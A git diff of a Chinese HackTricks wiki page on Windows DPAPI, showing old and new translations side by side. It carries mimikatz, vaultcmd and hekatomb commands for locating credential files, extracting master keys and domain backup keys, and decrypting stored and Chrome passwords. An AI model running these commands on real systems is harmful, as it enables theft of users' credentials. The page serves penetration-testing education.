<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**RootedCON**](https://www.rootedcon.com/) 是西班牙最重要的网络安全活动之一,也是欧洲最重要的网络安全活动之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士的热点交流平台。
|
[**RootedCON**](https://www.rootedcon.com/) 是**西班牙**最重要的网络安全活动之一,也是**欧洲**最重要的活动之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点聚会。
|
||||||
|
|
||||||
{% embed url="https://www.rootedcon.com/" %}
|
{% embed url="https://www.rootedcon.com/" %}
|
||||||
|
|
||||||
在创建这篇文章时,mimikatz在与DPAPI交互的每个操作中都遇到了问题,因此**大部分示例和图片都来自于**:[https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#extracting-dpapi-backup-keys-with-domain-admin)
|
|
||||||
|
|
||||||
## 什么是DPAPI
|
## 什么是DPAPI
|
||||||
|
|
||||||
在Windows操作系统中,DPAPI的主要用途是使用用户或系统密钥作为熵的重要贡献,对非对称私钥执行对称加密。\
|
数据保护API(DPAPI)主要用于Windows操作系统中对**非对称私钥进行对称加密**,利用用户或系统密钥作为重要的熵源。这种方法简化了开发人员的加密工作,使他们能够使用从用户登录密钥派生的密钥来加密数据,或者对于系统加密,使用系统的域认证密钥,从而无需开发人员自行管理加密密钥的保护。
|
||||||
**DPAPI允许开发人员使用从用户登录凭据派生的对称密钥来加密密钥**,或者在系统加密的情况下,使用系统的域身份验证凭据。
|
|
||||||
|
|
||||||
这使得开发人员可以非常容易地在计算机中**保存加密数据**,而无需担心如何**保护**加密**密钥**。
|
### DPAPI保护的数据
|
||||||
|
|
||||||
### DPAPI保护什么?
|
DPAPI保护的个人数据包括:
|
||||||
|
|
||||||
DPAPI用于保护以下个人数据:
|
- Internet Explorer和Google Chrome的密码和自动填充数据
|
||||||
|
- Outlook和Windows Mail等应用程序的电子邮件和内部FTP帐户密码
|
||||||
|
- 共享文件夹、资源、无线网络和Windows Vault的密码,包括加密密钥
|
||||||
|
- 远程桌面连接、.NET Passport以及用于各种加密和身份验证目的的私钥的密码
|
||||||
|
- 由凭据管理器管理的网络密码以及使用CryptProtectData的应用程序中的个人数据,如Skype、MSN Messenger等
|
||||||
|
|
||||||
* Internet Explorer、Google Chrome中的密码和表单自动完成数据
|
## 列出保险库
|
||||||
* Outlook、Windows Mail等中的电子邮件帐户密码
|
|
||||||
* 内部FTP管理器帐户密码
|
|
||||||
* 共享文件夹和资源访问密码
|
|
||||||
* 无线网络帐户密钥和密码
|
|
||||||
* Windows CardSpace和Windows Vault中的加密密钥
|
|
||||||
* 远程桌面连接密码,.NET Passport
|
|
||||||
* 用于加密文件系统(EFS)、加密邮件S-MIME、其他用户证书、Internet Information Services中的SSL/TLS的私钥
|
|
||||||
* EAP/TLS和802.1x(VPN和WiFi身份验证)
|
|
||||||
* 凭据管理器中的网络密码
|
|
||||||
* 任何使用API函数CryptProtectData进行编程保护的应用程序中的个人数据。例如,在Skype、Windows Rights Management Services、Windows Media、MSN Messenger、Google Talk等中。
|
|
||||||
* ...
|
|
||||||
|
|
||||||
{% hint style="info" %}
|
|
||||||
使用DPAPI保护数据的一个成功而巧妙的例子是在Internet Explorer中实现自动完成密码加密算法。为了加密某个网页的登录和密码,它调用CryptProtectData函数,在可选的熵参数中指定了网页的地址。因此,除非知道输入密码的原始URL,否则没有人,甚至是Internet Explorer本身,都无法解密该数据。
|
|
||||||
{% endhint %}
|
|
||||||
|
|
||||||
## 列出Vault
|
|
||||||
```bash
|
```bash
|
||||||
# From cmd
|
# From cmd
|
||||||
vaultcmd /listcreds:"Windows Credentials" /all
|
vaultcmd /listcreds:"Windows Credentials" /all
|
||||||
|
@ -58,14 +42,14 @@ mimikatz vault::list
|
||||||
```
|
```
|
||||||
## 凭证文件
|
## 凭证文件
|
||||||
|
|
||||||
**由主密码保护的凭证文件**可能位于以下位置:
|
**受保护的凭证文件**可能位于:
|
||||||
```
|
```
|
||||||
dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
|
dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
|
||||||
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
|
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
|
||||||
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
|
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
|
||||||
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
|
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
|
||||||
```
|
```
|
||||||
使用mimikatz的`dpapi::cred`命令获取凭据信息,在响应中可以找到有趣的信息,如加密数据和guidMasterKey。
|
使用mimikatz `dpapi::cred` 获取凭据信息,在响应中您可以找到有趣的信息,如加密数据和guidMasterKey。
|
||||||
```bash
|
```bash
|
||||||
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7
|
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7
|
||||||
|
|
||||||
|
@ -81,7 +65,7 @@ dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
|
||||||
```
|
```
|
||||||
## 主密钥
|
## 主密钥
|
||||||
|
|
||||||
用于加密用户RSA密钥的DPAPI密钥存储在`%APPDATA%\Microsoft\Protect\{SID}`目录下,其中{SID}是该用户的[**安全标识符**](https://en.wikipedia.org/wiki/Security\_Identifier)。**DPAPI密钥存储在与保护用户私钥的主密钥相同的文件中**。它通常是64个字节的随机数据。(请注意,此目录受保护,因此无法使用`dir`命令列出,但可以使用PS列出)。
|
用于加密用户RSA密钥的DPAPI密钥存储在`%APPDATA%\Microsoft\Protect\{SID}`目录下,其中{SID}是该用户的[**安全标识符**](https://en.wikipedia.org/wiki/Security\_Identifier)。**DPAPI密钥存储在保护用户私钥的主密钥相同的文件中**。通常是64个字节的随机数据。(请注意,此目录受保护,因此您无法使用cmd的`dir`命令列出它,但您可以使用PS列出它)。
|
||||||
```bash
|
```bash
|
||||||
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
|
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
|
||||||
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
|
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
|
||||||
|
@ -90,76 +74,33 @@ Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
|
||||||
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
|
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
|
||||||
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}
|
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}
|
||||||
```
|
```
|
||||||
以下是用户的一组主密钥的样子:
|
以下是用户的一堆主密钥的样子:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (324).png>)
|
![](<../../.gitbook/assets/image (324).png>)
|
||||||
|
|
||||||
通常,**每个主密钥都是一个加密的对称密钥,可以用来解密其他内容**。因此,提取**加密的主密钥**是有趣的,以便稍后解密使用该密钥加密的**其他内容**。
|
通常**每个主密钥都是一个加密的对称密钥,可以解密其他内容**。因此,有趣的是**提取**加密的**主密钥**,以便稍后**解密**使用它加密的**其他内容**。
|
||||||
|
|
||||||
### 提取主密钥并解密
|
### 提取主密钥和解密
|
||||||
|
|
||||||
在前面的部分中,我们找到了一个名为`3e90dd9e-f901-40a1-b691-84d7f647b8fe`的guidMasterKey,该文件将位于:
|
查看帖子[https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#extracting-dpapi-backup-keys-with-domain-admin)以了解如何提取主密钥并解密它。
|
||||||
```
|
|
||||||
C:\Users\<username>\AppData\Roaming\Microsoft\Protect\<SID>
|
|
||||||
```
|
|
||||||
在哪里可以使用mimikatz提取主密钥:
|
|
||||||
```bash
|
|
||||||
# If you know the users password
|
|
||||||
dpapi::masterkey /in:"C:\Users\<username>\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe" /sid:S-1-5-21-2552734371-813931464-1050690807-1106 /password:123456 /protected
|
|
||||||
|
|
||||||
# If you don't have the users password and inside an AD
|
|
||||||
dpapi::masterkey /in:"C:\Users\<username>\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe" /rpc
|
|
||||||
```
|
|
||||||
文件的主密钥将出现在输出中。
|
|
||||||
|
|
||||||
最后,您可以使用该**主密钥**来**解密****凭据文件**:
|
|
||||||
```
|
|
||||||
mimikatz dpapi::cred /in:C:\Users\bfarmer\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7 /masterkey:0c0105785f89063857239915037fbbf0ee049d984a09a7ae34f7cfc31ae4e6fd029e6036cde245329c635a6839884542ec97bf640242889f61d80b7851aba8df
|
|
||||||
```
|
|
||||||
### 使用管理员权限提取所有本地主密钥
|
|
||||||
|
|
||||||
如果您是管理员,可以使用以下方法获取dpapi主密钥:
|
|
||||||
```
|
|
||||||
sekurlsa::dpapi
|
|
||||||
```
|
|
||||||
![](<../../.gitbook/assets/image (326).png>)
|
|
||||||
|
|
||||||
### 提取所有备份的主密钥(Master Keys)与域管理员
|
|
||||||
|
|
||||||
域管理员可以获取备份的dpapi主密钥,用于解密加密的密钥:
|
|
||||||
```
|
|
||||||
lsadump::backupkeys /system:dc01.offense.local /export
|
|
||||||
```
|
|
||||||
使用检索到的备份密钥,让我们解密用户的 `spotless` 主密钥:
|
|
||||||
```bash
|
|
||||||
dpapi::masterkey /in:"C:\Users\spotless.OFFENSE\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe" /pvk:ntds_capi_0_d2685b31-402d-493b-8d12-5fe48ee26f5a.pvk
|
|
||||||
```
|
|
||||||
我们现在可以使用解密后的主密钥解密用户的`spotless` Chrome 密钥。
|
|
||||||
```
|
|
||||||
dpapi::chrome /in:"c:\users\spotless.offense\appdata\local\Google\Chrome\User Data\Default\Login Data" /masterkey:b5e313e344527c0ec4e016f419fe7457f2deaad500f68baf48b19eb0b8bc265a0669d6db2bddec7a557ee1d92bcb2f43fbf05c7aa87c7902453d5293d99ad5d6
|
|
||||||
```
|
|
||||||
## 加密和解密内容
|
|
||||||
|
|
||||||
您可以在以下链接中找到使用mimikatz和C++对数据进行加密和解密的示例:[https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c)\
|
|
||||||
您可以在以下链接中找到使用C#对数据进行加密和解密的示例:[https://docs.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection](https://docs.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection)
|
|
||||||
|
|
||||||
## SharpDPAPI
|
## SharpDPAPI
|
||||||
|
|
||||||
[SharpDPAPI](https://github.com/GhostPack/SharpDPAPI#sharpdpapi-1)是[@gentilkiwi](https://twitter.com/gentilkiwi)的[Mimikatz](https://github.com/gentilkiwi/mimikatz/)项目中一些DPAPI功能的C#端口。
|
[SharpDPAPI](https://github.com/GhostPack/SharpDPAPI#sharpdpapi-1)是[@gentilkiwi](https://twitter.com/gentilkiwi)的[Mimikatz](https://github.com/gentilkiwi/mimikatz/)项目中一些DPAPI功能的C#移植。
|
||||||
|
|
||||||
## HEKATOMB
|
## HEKATOMB
|
||||||
|
|
||||||
[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB)是一个自动化从LDAP目录中提取所有用户和计算机以及通过RPC提取域控制器备份密钥的工具。然后,脚本将解析所有计算机的IP地址,并在所有计算机上执行smbclient以检索所有用户的DPAPI blob,并使用域备份密钥解密所有内容。
|
[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB)是一个工具,可以自动提取LDAP目录中的所有用户和计算机,以及通过RPC提取域控制器备份密钥。然后脚本将解析所有计算机的IP地址,并在所有计算机上执行smbclient以检索所有用户的所有DPAPI blob,并使用域备份密钥解密所有内容。
|
||||||
|
|
||||||
`python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp`
|
`python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp`
|
||||||
|
|
||||||
使用从LDAP计算机列表中提取的信息,即使您不知道它们,也可以找到每个子网络!
|
通过从LDAP计算机列表中提取,您可以找到每个子网络,即使您不知道它们!
|
||||||
|
|
||||||
"因为仅仅拥有域管理员权限是不够的。攻破它们全部。"
|
"因为域管理员权限还不够。攻破它们全部。"
|
||||||
|
|
||||||
## DonPAPI
|
## DonPAPI
|
||||||
|
|
||||||
[**DonPAPI**](https://github.com/login-securite/DonPAPI)可以自动转储由DPAPI保护的秘密。
|
[**DonPAPI**](https://github.com/login-securite/DonPAPI)可以自动转储由DPAPI保护的机密。
|
||||||
|
|
||||||
## 参考资料
|
## 参考资料
|
||||||
|
|
||||||
|
@ -168,7 +109,7 @@ dpapi::chrome /in:"c:\users\spotless.offense\appdata\local\Google\Chrome\User Da
|
||||||
|
|
||||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**RootedCON**](https://www.rootedcon.com/)是**西班牙**最重要的网络安全活动之一,也是**欧洲**最重要的网络安全活动之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士的热点聚集地。
|
[**RootedCON**](https://www.rootedcon.com/)是西班牙最相关的网络安全活动之一,也是欧洲最重要的活动之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点会议。
|
||||||
|
|
||||||
{% embed url="https://www.rootedcon.com/" %}
|
{% embed url="https://www.rootedcon.com/" %}
|
||||||
|
|
||||||
|
@ -176,10 +117,10 @@ dpapi::chrome /in:"c:\users\spotless.offense\appdata\local\Google\Chrome\User Da
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* 您在**网络安全公司**工作吗?您想在HackTricks中宣传您的公司吗?或者您想获得最新版本的PEASS或下载PDF格式的HackTricks吗?请查看[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f)或[**电报群**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
Loading…
Reference in a new issue